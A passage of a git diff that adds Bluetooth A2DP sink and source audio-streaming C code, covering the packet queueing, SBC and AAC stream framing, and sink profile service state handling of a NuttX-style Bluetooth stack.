A2DP_ASYNC_SEND_COUNT) { + if (stream->block_ticks++ > 2) + BT_LOGD("%s ipc blocking, block ticks:%" PRIu32, __func__, stream->block_ticks); + goto out; + } + + stream->block_ticks = 0; + packet = (a2dp_sink_packet_t*)node; + ret = audio_transport_write(a2dp_transport, + AUDIO_TRANS_CH_ID_AV_SINK_AUDIO, + packet->data, packet->length, + a2dp_sink_write_done); + if (ret != 0) { + BT_LOGE("%s, packet write failed", __func__); + goto out; + } + + stream->packet_sending_cnt++; + list_delete(node); + if (sink_stream.stream_interface) + sink_stream.stream_interface->packet_send_done(packet); + } + +out: + uv_mutex_unlock(&stream->queue_lock); +} + +void a2dp_sink_packet_recieve(a2dp_sink_packet_t* packet) +{ + a2dp_sink_stream_t* stream = &sink_stream; + struct list_node* queue = &stream->packet_queue; + + if (packet == NULL) + return; + + if (stream->state != STATE_RUNNING) { + free(packet); + return; + } + + uv_mutex_lock(&stream->queue_lock); + if (list_length(queue) == A2DP_MAX_ENQUEUE_PACKET_COUNT) { + BT_LOGD("%s queue is full, drop head packet", __func__); + struct list_node* pkt = list_remove_head(queue); + free(pkt); + list_add_tail(queue, &packet->node); + uv_mutex_unlock(&stream->queue_lock); + return; + } + + list_add_tail(queue, &packet->node); + if (list_length(queue) >= A2DP_MAX_DELAY_PACKET_COUNT && !stream->media_alarm) { + BT_LOGD("%s start trans packet", __func__); + stream->underflow_ts = 0; + stream->last_ts = 0; + stream->block_ticks = 0; + sink_stream.media_alarm = service_loop_timer(10, + A2DP_SINK_MEDIA_TICK_MS, a2dp_sink_audio_handle_timer, NULL); + if (sink_stream.media_alarm == NULL) + BT_LOGE("%s, media_alarm start error", __func__); + } + uv_mutex_unlock(&stream->queue_lock); +} + +a2dp_sink_packet_t* a2dp_sink_new_packet(uint32_t timestamp, uint16_t seq, uint8_t* data, uint16_t length) +{ + (void)seq; + (void)timestamp; + + if (sink_stream.stream_interface) + return sink_stream.stream_interface->repackage(data, length); + else + return NULL; +} + +// TODO: check active peer +bool a2dp_sink_on_connection_changed(bool connected) +{ + transport_conn_state_t state; + + BT_LOGD("%s, %d", __func__, connected); + state = a2dp_control_get_state(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL); + if (state != IPC_CONNTECTED) { + return false; + } + + if (connected) { + a2dp_control_update_audio_config(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, 1); + } else { + /* When disconnected, the Media framework should send AUDIO_CTRL_CMD_STOP to notify us that + it is no longer ready to receive data via audio data channel. However, due to a logic issue, + the media currently cannot send AUDIO_CTRL_CMD_STOP upon disconnection. As a workaround, + we are proactively setting sink_stream.ready to false in such scenario. */ + sink_stream.ready = false; + a2dp_sink_on_stopped(); + a2dp_control_update_audio_config(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, 0); + } + + return true; +} + +void a2dp_sink_on_started(bool started) +{ + BT_LOGD("%s: %d", __func__, started); + if (!sink_stream.ready) + return; + + if (sink_stream.state != STATE_RUNNING) { + sink_stream.state = STATE_RUNNING; + a2dp_sink_flush_packet_queue(); + } +} + +void a2dp_sink_on_stopped(void) +{ + a2dp_sink_stream_t* stream = &sink_stream; + + BT_LOGD("%s", __func__); + + if (sink_stream.state == STATE_OFF) + return; + + service_loop_cancel_timer(stream->media_alarm); + stream->media_alarm = NULL; + a2dp_sink_flush_packet_queue(); + stream->state = STATE_OFF; +} + +void a2dp_sink_prepare_suspend(void) +{ + BT_LOGD("%s", __func__); + a2dp_sink_on_stopped(); /* stop and suspend act the same at audio sink*/ +} + +void a2dp_sink_mute(void) +{ + BT_LOGD("%s", __func__); + + sink_stream.ready = false; + a2dp_sink_prepare_suspend(); +} + +void a2dp_sink_resume(void) +{ + BT_LOGD("%s", __func__); + + sink_stream.ready = true; + a2dp_sink_on_started(true); +} + +void a2dp_sink_setup_codec(bt_address_t* bd_addr) +{ + sink_stream.stream_interface = get_stream_interface(); + if (!sink_stream.stream_interface) + BT_LOGE("get_stream_interface fail"); +} + +void a2dp_sink_audio_init(void) +{ + sink_stream.media_alarm = NULL; + sink_stream.state = STATE_OFF; + uv_mutex_init(&sink_stream.queue_lock); + list_initialize(&sink_stream.packet_queue); + a2dp_control_init(AUDIO_TRANS_CH_ID_AV_SINK_CTRL, AUDIO_TRANS_CH_ID_AV_SINK_AUDIO); +} + +void a2dp_sink_audio_cleanup(void) +{ + a2dp_sink_on_stopped(); + a2dp_sink_flush_packet_queue(); + uv_mutex_destroy(&sink_stream.queue_lock); + list_delete(&sink_stream.packet_queue); + a2dp_control_ch_close(AUDIO_TRANS_CH_ID_AV_SINK_CTRL, AUDIO_TRANS_CH_ID_AV_SINK_AUDIO); +} diff --git a/service/profiles/a2dp/sink/a2dp_sink_sbc_stream.c b/service/profiles/a2dp/sink/a2dp_sink_sbc_stream.c new file mode 100644 index 0000000000000000000000000000000000000000..7b217b2f74272fd5b132199f089b3c28ee43ea53 --- /dev/null +++ b/service/profiles/a2dp/sink/a2dp_sink_sbc_stream.c @@ -0,0 +1,85 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ + +#include "a2dp_codec.h" +#include "a2dp_sink_audio.h" +#include <assert.h> +#include <stdlib.h> +#include <string.h> + +#define LOG_TAG "sink_sbc" +#include "utils/log.h" + +#define LOAS_HDRSIZE 3 + +#define LATM_HEADER 0x56E0 + +static a2dp_sink_packet_t* sink_sbc_repackage(uint8_t* data, uint16_t length) +{ + a2dp_sink_packet_t* packet = NULL; + + if (length < 2) { + BT_LOGE("%s, invaild length: %d", __func__, length); + return NULL; + } + if (data[1] != A2DP_SBC_SYNCWORD) { + BT_LOGE("%s, sbc syncword error: %02x", __func__, data[1]); + return NULL; + } + /* pack aac loas header */ + packet = malloc(sizeof(a2dp_sink_packet_t) + length + LOAS_HDRSIZE); + if (packet) { + packet->data[0] = (LATM_HEADER >> 8) & 0xFF; + packet->data[1] = (LATM_HEADER & 0xE0) | ((length >> 8) & 0x1F); + packet->data[2] = length & 0xFF; + packet->length = length + LOAS_HDRSIZE; + memcpy(packet->data + LOAS_HDRSIZE, data, length); + } + + return packet; +} + +static void sink_sbc_packet_send_done(a2dp_sink_packet_t* packet) +{ + free(packet); +} + +static const a2dp_sink_stream_interface_t a2dp_sink_stream_sbc = { + sink_sbc_repackage, + sink_sbc_packet_send_done, +}; + +const a2dp_sink_stream_interface_t* get_a2dp_sink_sbc_stream_interface(void) +{ + return &a2dp_sink_stream_sbc; +} diff --git a/service/profiles/a2dp/sink/a2dp_sink_service.c b/service/profiles/a2dp/sink/a2dp_sink_service.c new file mode 100644 index 0000000000000000000000000000000000000000..ece25f62b7378cdc3ac76971835a9072b68abe84 --- /dev/null +++ b/service/profiles/a2dp/sink/a2dp_sink_service.c @@ -0,0 +1,477 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "a2dp_sink" + +#include <fcntl.h> +#include <stdint.h> +#include <stdlib.h> +#include <unistd.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "a2dp_audio.h" +#include "a2dp_device.h" +#include "a2dp_sink_service.h" +#include "adapter_internel.h" +#include "bt_addr.h" +#include "bt_list.h" +#include "callbacks_list.h" +#include "sal_a2dp_sink_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#ifndef CONFIG_BLUETOOTH_A2DP_MAX_CONNECTIONS +#define A2DP_MAX_CONNECTION (1) +#else +#define A2DP_MAX_CONNECTION CONFIG_BLUETOOTH_A2DP_MAX_CONNECTIONS +#endif + +#define A2DP_SINK_CALLBACK_FOREACH(_list, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, a2dp_sink_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct { + struct list_node list; + bool enabled; + bool offloading; + callbacks_list_t* callbacks; + a2dp_peer_t* active_peer; +} a2dp_sink_global_t; + +static a2dp_sink_global_t g_a2dp_sink = { 0 }; + +static void sink_startup(void* data); +static void sink_shutdown(void* data); +static bool a2dp_sink_unregister_callbacks(void** remote, void* cookie); + +static void set_active_peer(bt_address_t* bd_addr) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, bd_addr); + + g_a2dp_sink.active_peer = &device->peer; +} + +static a2dp_peer_t* get_active_peer(void) +{ + return g_a2dp_sink.active_peer; +} + +static a2dp_device_t* find_or_create_device(bt_address_t* bd_addr) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, bd_addr); + if (device) + return device; + + device = a2dp_device_new(&g_a2dp_sink, SEP_SRC, bd_addr); + if (!device) { + BT_LOGE("A2DP new source device alloc failed"); + return NULL; + } + list_add_tail(&g_a2dp_sink.list, &device->node); + + return device; +} + +static a2dp_state_machine_t* get_state_machine(bt_address_t* bd_addr) +{ + a2dp_device_t* device = find_or_create_device(bd_addr); + + if (!device) + return NULL; + + return device->a2dp_sm; +} + +void save_a2dp_codec_config(a2dp_peer_t* peer, a2dp_codec_config_t* config) +{ + if (peer == NULL || config == NULL) + return; + + memcpy(&peer->codec_config, config, sizeof(*config)); + a2dp_codec_set_config(SEP_SRC, &peer->codec_config); +} + +static void a2dp_snk_service_handle_event(void* data) +{ + a2dp_event_t* event = data; + + if (!g_a2dp_sink.enabled && event->event != A2DP_STARTUP) { + a2dp_event_destory(event); + return; + } + + switch (event->event) { + case A2DP_STARTUP: + sink_startup(event->event_data.cb); + break; + case A2DP_SHUTDOWN: + sink_shutdown(event->event_data.cb); + break; + case CODEC_CONFIG_EVT: { + a2dp_codec_config_t* config; + a2dp_device_t* device; + device = find_or_create_device(&event->event_data.bd_addr); + if (!device) { + break; + } + + config = event->event_data.data; + BT_LOGD("CODEC_CONFIG_EVT : codec_type: %d, sample_rate: %" PRIu32 ", bits_per_sample: %d, channel_mode: %d", + config->codec_type, + config->sample_rate, + config->bits_per_sample, + config->channel_mode); + save_a2dp_codec_config(&device->peer, config); + break; + } + case PEER_STREAM_START_REQ: + bt_sal_a2dp_sink_start_stream(PRIMARY_ADAPTER, &event->event_data.bd_addr); + break; + default: { + a2dp_state_machine_t* a2dp_sm; + a2dp_sm = get_state_machine(&event->event_data.bd_addr); + if (!a2dp_sm) { + break; + } + + if (event->event == CONNECTED_EVT) + set_active_peer(&event->event_data.bd_addr); + + a2dp_state_machine_handle_event(a2dp_sm, event); + break; + } + } + + a2dp_event_destory(event); +} + +static void do_in_a2dp_snk_service(a2dp_event_t* a2dp_event) +{ + if (a2dp_event == NULL) + return; + + do_in_service_loop(a2dp_snk_service_handle_event, a2dp_event); +} + +a2dp_peer_t* a2dp_sink_find_peer(bt_address_t* addr) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, addr); + + if (!device) + return NULL; + + return &device->peer; +} + +bool a2dp_sink_stream_ready(void) +{ + a2dp_state_machine_t* a2dp_sm; + a2dp_state_t state; + a2dp_peer_t* peer = get_active_peer(); + if (!peer) + return false; + + a2dp_sm = get_state_machine(peer->bd_addr); + if (!a2dp_sm) + return false; + + state = a2dp_state_machine_get_state(a2dp_sm); + return (state == A2DP_STATE_OPENED); +} + +bool a2dp_sink_stream_started(void) +{ + a2dp_state_machine_t* a2dp_sm; + a2dp_state_t state; + a2dp_peer_t* peer = get_active_peer(); + if (!peer) + return false; + + a2dp_sm = get_state_machine(peer->bd_addr); + if (!a2dp_sm) + return false; + + state = a2dp_state_machine_get_state(a2dp_sm); + return (state == A2DP_STATE_STARTED); +} + +void a2dp_sink_codec_state_change(void) +{ + a2dp_peer_t* peer = get_active_peer(); + if (!peer) + return; + + do_in_a2dp_snk_service(a2dp_event_new(DEVICE_CODEC_STATE_CHANGE_EVT, peer->bd_addr)); +} + +static bt_status_t a2dp_sink_init(void) +{ + g_a2dp_sink.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + return BT_STATUS_SUCCESS; +} + +static void a2dp_sink_cleanup(void) +{ + g_a2dp_sink.active_peer = NULL; + bt_callbacks_list_free(g_a2dp_sink.callbacks); + g_a2dp_sink.callbacks = NULL; +} + +static void sink_startup(void* data) +{ + profile_on_startup_t on_startup = (profile_on_startup_t)data; + + list_initialize(&g_a2dp_sink.list); + if (bt_sal_a2dp_sink_init(A2DP_MAX_CONNECTION) != BT_STATUS_SUCCESS) { + list_delete(&g_a2dp_sink.list); + /* callback notify startup failed */ + on_startup(PROFILE_A2DP_SINK, false); + return; + } + + a2dp_audio_init(SVR_SINK, g_a2dp_sink.offloading); + + g_a2dp_sink.enabled = true; + on_startup(PROFILE_A2DP_SINK, true); +} + +static bt_status_t a2dp_sink_startup(profile_on_startup_t cb) +{ + if (g_a2dp_sink.enabled) { + return BT_STATUS_NOT_ENABLED; + } + + a2dp_event_t* evt = a2dp_event_new(A2DP_STARTUP, NULL); + evt->event_data.cb = cb; + do_in_a2dp_snk_service(evt); + return BT_STATUS_SUCCESS; +} + +static void sink_shutdown(void* data) +{ + a2dp_device_t* device; + struct list_node* node; + struct list_node* tmp; + profile_on_shutdown_t on_shutdown = (profile_on_shutdown_t)data; + + g_a2dp_sink.enabled = false; + a2dp_audio_cleanup(SVR_SINK); + + list_for_every_safe(&g_a2dp_sink.list, node, tmp) + { + device = (a2dp_device_t*)node; + a2dp_device_delete(device); + } + list_delete(&g_a2dp_sink.list); + bt_sal_a2dp_sink_cleanup(); + g_a2dp_sink.active_peer = NULL; + on_shutdown(PROFILE_A2DP_SINK, true); +} + +static bt_status_t a2dp_sink_shutdown(profile_on_shutdown_t cb) +{ + if (!g_a2dp_sink.enabled) { + return BT_STATUS_SUCCESS; + } + + a2dp_event_t* evt = a2dp_event_new(A2DP_SHUTDOWN, NULL); + evt->event_data.cb = cb; + do_in_a2dp_snk_service(evt); + + return BT_STATUS_SUCCESS; +} + +static void a2dp_sink_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_A2DP_OFFLOADING: + g_a2dp_sink.offloading = msg->data.valuebool; + break; + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->a2dp_sink_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + a2dp_sink_unregister_callbacks(NULL, ins->a2dp_sink_cookie); + ins->a2dp_sink_cookie = NULL; + } + break; + } + default: + break; + } +} + +static void* a2dp_sink_register_callbacks(void* remote, const a2dp_sink_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_a2dp_sink.callbacks, remote, (void*)callbacks); +} + +static bool a2dp_sink_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_a2dp_sink.callbacks, remote, cookie); +} + +static bool a2dp_sink_is_connected(bt_address_t* addr) +{ + if (!g_a2dp_sink.enabled) { + return false; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, addr); + if (!device) { + return false; + } + + profile_connection_state_t state = a2dp_state_machine_get_connection_state(device->a2dp_sm); + + return state == PROFILE_STATE_CONNECTED; +} + +static bool a2dp_sink_is_playing(bt_address_t* addr) +{ + if (!g_a2dp_sink.enabled) { + return false; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, addr); + if (!device) { + return false; + } + + a2dp_state_t state = a2dp_state_machine_get_state(device->a2dp_sm); + + return state == A2DP_STATE_STARTED; +} + +static profile_connection_state_t a2dp_sink_get_connection_state(bt_address_t* addr) +{ + if (!g_a2dp_sink.enabled) { + return PROFILE_STATE_DISCONNECTED; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_sink.list, addr); + if (!device) { + return PROFILE_STATE_DISCONNECTED; + } + + profile_connection_state_t state = a2dp_state_machine_get_connection_state(device->a2dp_sm); + + return state; +} + +static bt_status_t a2dp_sink_connect(bt_address_t* addr) +{ + if (!g_a2dp_sink.enabled) { + return BT_STATUS_FAIL; + } + + do_in_a2dp_snk_service(a2dp_event_new(CONNECT_REQ, addr)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t a2dp_sink_disconnect(bt_address_t* addr) +{ + if (!g_a2dp_sink.enabled) { + return BT_STATUS_FAIL; + } + + do_in_a2dp_snk_service(a2dp_event_new(DISCONNECT_REQ, addr)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t a2dp_sink_set_active_device(bt_address_t* addr) +{ + return BT_STATUS_SUCCESS; +} + +static int a2dp_sink_get_state(void) +{ + return 1; +} + +static const a2dp_sink_interface_t a2dp_sinkInterface = { + .size = sizeof(a2dp_sinkInterface), + .register_callbacks = a2dp_sink_register_callbacks, + .unregister_callbacks = a2dp_sink_unregister_callbacks, + .is_connected = a2dp_sink_is_connected, + .is_playing = a2dp_sink_is_playing, + .get_connection_state = a2dp_sink_get_connection_state, + .connect = a2dp_sink_connect, + .disconnect = a2dp_sink_disconnect, + .set_active_device = a2dp_sink_set_active_device, +}; + +static const void* get_a2dp_sink_profile_interface(void) +{ + return (void*)&a2dp_sinkInterface; +} + +static int a2dp_sink_dump(void) +{ + return 0; +} + +static const profile_service_t a2dp_sink_service = { + .auto_start = true, + .name = PROFILE_A2DP_SINK_NAME, + .id = PROFILE_A2DP_SINK, + .transport = BT_TRANSPORT_BREDR, + .uuid = BT_UUID_DECLARE_16(BT_UUID_A2DP_SNK), + .init = a2dp_sink_init, + .startup = a2dp_sink_startup, + .shutdown = a2dp_sink_shutdown, + .process_msg = a2dp_sink_process_msg, + .get_state = a2dp_sink_get_state, + .get_profile_interface = get_a2dp_sink_profile_interface, + .cleanup = a2dp_sink_cleanup, + .dump = a2dp_sink_dump, +}; + +void bt_sal_a2dp_sink_event_callback(a2dp_event_t* event) +{ + do_in_a2dp_snk_service(event); +} + +void a2dp_sink_service_notify_connection_state_changed( + bt_address_t* addr, profile_connection_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SINK_CALLBACK_FOREACH(g_a2dp_sink.callbacks, connection_state_cb, addr, state); +} + +void a2dp_sink_service_notify_audio_state_changed( + bt_address_t* addr, a2dp_audio_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SINK_CALLBACK_FOREACH(g_a2dp_sink.callbacks, audio_state_cb, addr, state); +} + +void a2dp_sink_service_notify_audio_sink_config_changed( + bt_address_t* addr) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SINK_CALLBACK_FOREACH(g_a2dp_sink.callbacks, audio_sink_config_cb, addr); +} + +void register_a2dp_sink_service(void) +{ + register_service(&a2dp_sink_service); +} diff --git a/service/profiles/a2dp/source/a2dp_source_aac_stream.c b/service/profiles/a2dp/source/a2dp_source_aac_stream.c new file mode 100644 index 0000000000000000000000000000000000000000..02f2a5b0842b1ac433d8302c144e75a1f375a5c0 --- /dev/null +++ b/service/profiles/a2dp/source/a2dp_source_aac_stream.c @@ -0,0 +1,241 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#define LOG_TAG "aac_src_stream" +#include <assert.h> +#include <stdio.h> +#include <stdlib.h> + +#include "a2dp_codec_aac.h" +#include "a2dp_source_audio.h" +#include "service_loop.h" +#include "utils.h" +#include "utils/log.h" + +#define A2DP_AAC_BIT_PER_SAMPLE 16 +#define A2DP_AAC_ENCODER_INTERVAL_MS 20 +#define A2DP_AAC_MAX_PCM_FRAME_NUM_PER_TICK 3 + +typedef struct { + uint32_t flag; + uint64_t last_frame_us; + float counter; + uint32_t bytes_per_tick; +} a2dp_aac_feeding_state_t; + +typedef struct { + uint32_t total_tx_frames; + uint64_t session_start_us; +} a2dp_aac_session_state_t; + +typedef struct { + uint8_t header[3]; + uint8_t header_length; +} loas_header_t; +typedef struct { + aac_encoder_param_t* param; + frame_send_callback send_callback; + frame_read_callback read_callback; + uint16_t mtu; + uint16_t frame_len; + uint16_t max_tx_length; + uint32_t media_timestamp; + a2dp_aac_feeding_state_t feeding_state; + a2dp_aac_session_state_t state; + loas_header_t loas; +} a2dp_stream_aac_t; + +static a2dp_stream_aac_t aac_stream; +static uint32_t a2dp_aac_encoder_interval_ms = A2DP_AAC_ENCODER_INTERVAL_MS; + +int a2dp_source_aac_update_config(uint32_t mtu, aac_encoder_param_t* param, uint8_t* codec_info) +{ + uint16_t mtu_size; + + aac_stream.mtu = mtu; + if (mtu > MAX_2MBPS_AVDTP_MTU) + mtu_size = MAX_2MBPS_AVDTP_MTU; + else + mtu_size = mtu; + + a2dp_codec_parse_aac_param(param, codec_info, mtu_size); + + return 0; +} + +static void a2dp_aac_get_num_frame_iteration(uint8_t* num_of_iterations, uint8_t* num_of_frames, + uint64_t now_timestamp_us) +{ + a2dp_stream_aac_t* stream = &aac_stream; + aac_encoder_param_t* params = stream->param; + uint32_t pcm_bytes_per_frame; + uint32_t projected_nof = 0; + uint32_t us_this_tick; + float ticks; + + pcm_bytes_per_frame = stream->frame_len * params->u16NumOfChannels * A2DP_AAC_BIT_PER_SAMPLE / 8; + us_this_tick = a2dp_aac_encoder_interval_ms * 1000; + if (stream->feeding_state.last_frame_us != 0) + us_this_tick = now_timestamp_us - stream->feeding_state.last_frame_us; + stream->feeding_state.last_frame_us = now_timestamp_us; + ticks = (float)us_this_tick / (a2dp_aac_encoder_interval_ms * 1000); + stream->feeding_state.counter += (float)stream->feeding_state.bytes_per_tick * ticks; + projected_nof = stream->feeding_state.counter / pcm_bytes_per_frame; + if (projected_nof > A2DP_AAC_MAX_PCM_FRAME_NUM_PER_TICK) { + projected_nof = A2DP_AAC_MAX_PCM_FRAME_NUM_PER_TICK; + stream->feeding_state.counter = projected_nof * pcm_bytes_per_frame; + } + + *num_of_iterations = 1; + *num_of_frames = projected_nof; + stream->feeding_state.counter -= projected_nof * pcm_bytes_per_frame; +} + +static void a2dp_aac_send_frames(uint16_t header_reserve, uint8_t frames) +{ + loas_header_t* loas = &aac_stream.loas; //= "\x56\xe0\x00"; + uint16_t len = 0; + int ret; + + do { + // try find loas header sync word + // loas->header_length = 0; + // if (loas->header_length != 3) { + // ret = aac_stream.read_callback(&loas->header[loas->header_length], 3 - loas->header_length); + // loas->header_length = ret; + ret = aac_stream.read_callback(loas->header, 3); + if (ret == 0) + return; + //} + + if (loas->header[0] == 0x56 && (loas->header[1] & 0xE0) == 0xE0) + len = (uint16_t)((loas->header[1] & 0x1F) << 8) + (uint16_t)loas->header[2]; + else + continue; + uint8_t* buffer = malloc(header_reserve + len); + if (buffer == NULL) + return; + + // read AAC data with latm header + ret = aac_stream.read_callback(buffer + header_reserve, len); + if (ret == 0) { + free(buffer); + aac_stream.feeding_state.counter += aac_stream.frame_len * aac_stream.param->u16NumOfChannels * A2DP_AAC_BIT_PER_SAMPLE / 8 * frames; + BT_LOGW("%s, underflow :%d, %f", __func__, frames, aac_stream.feeding_state.counter); + return; + } + loas->header_length = 0; + aac_stream.send_callback(buffer, ret, 1, aac_stream.media_timestamp); + aac_stream.media_timestamp += aac_stream.frame_len; + aac_stream.state.total_tx_frames++; + frames--; + free(buffer); + } while (frames); +} + +static void a2dp_source_aac_send_frames(uint16_t header_reserve, uint64_t timestamp) +{ + uint8_t num_of_frames; + uint8_t num_of_iterations; + + a2dp_aac_get_num_frame_iteration(&num_of_iterations, &num_of_frames, + timestamp); + if (num_of_frames == 0) + return; + + for (int i = 0; i < num_of_iterations; i++) { + a2dp_aac_send_frames(header_reserve, num_of_frames); + } +} + +static void a2dp_source_aac_stream_init(void* param, uint32_t mtu, + frame_send_callback send_cb, + frame_read_callback read_cb) +{ + a2dp_stream_aac_t* stream = &aac_stream; + + stream->param = (aac_encoder_param_t*)param; + stream->mtu = mtu; + stream->send_callback = send_cb; + stream->read_callback = read_cb; + stream->frame_len = 1024; + stream->media_timestamp = 0; + stream->state.total_tx_frames = 0; + stream->state.session_start_us = 0; + a2dp_aac_encoder_interval_ms = stream->frame_len * 1000 / stream->param->u32SampleRate; + if (a2dp_aac_encoder_interval_ms < A2DP_AAC_ENCODER_INTERVAL_MS) + a2dp_aac_encoder_interval_ms = A2DP_AAC_ENCODER_INTERVAL_MS; + + BT_LOGD("%s, a2dp_aac_encoder_interval_ms:%" PRIu32, __func__, a2dp_aac_encoder_interval_ms); +} + +static void a2dp_source_aac_stream_reset(void) +{ + a2dp_stream_aac_t* stream = &aac_stream; + aac_encoder_param_t* param = stream->param; + + stream->state.total_tx_frames = 0; + stream->state.session_start_us = bt_get_os_timestamp_us(); + stream->media_timestamp = 0; + a2dp_aac_encoder_interval_ms = stream->frame_len * 1000 / param->u32SampleRate; + if (a2dp_aac_encoder_interval_ms < A2DP_AAC_ENCODER_INTERVAL_MS) + a2dp_aac_encoder_interval_ms = A2DP_AAC_ENCODER_INTERVAL_MS; + + stream->loas.header_length = 0; + stream->feeding_state.counter = 0; + stream->feeding_state.last_frame_us = 0; + stream->feeding_state.bytes_per_tick = (param->u32SampleRate * A2DP_AAC_BIT_PER_SAMPLE / 8 * param->u16NumOfChannels * a2dp_aac_encoder_interval_ms) / 1000; +} + +int a2dp_source_aac_interval_ms(void) +{ + return a2dp_aac_encoder_interval_ms; +} + +int a2dp_source_aac_get_min_frame_size(void) +{ + return 1; // AAC does not have a minimum frame size. +} + +static const a2dp_source_stream_interface_t a2dp_source_stream_aac = { + a2dp_source_aac_stream_init, + a2dp_source_aac_stream_reset, + NULL, + a2dp_source_aac_send_frames, + a2dp_source_aac_interval_ms, + a2dp_source_aac_get_min_frame_size, +}; + +const a2dp_source_stream_interface_t* get_a2dp_source_aac_stream_interface(void) +{ + return &a2dp_source_stream_aac; +} diff --git a/service/profiles/a2dp/source/a2dp_source_audio.c b/service/profiles/a2dp/source/a2dp_source_audio.c new file mode 100644 index 0000000000000000000000000000000000000000..9590ed67529acc7499c4f9572ac6e1a5d0181403 --- /dev/null +++ b/service/profiles/a2dp/source/a2dp_source_audio.c @@ -0,0 +1,561 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX 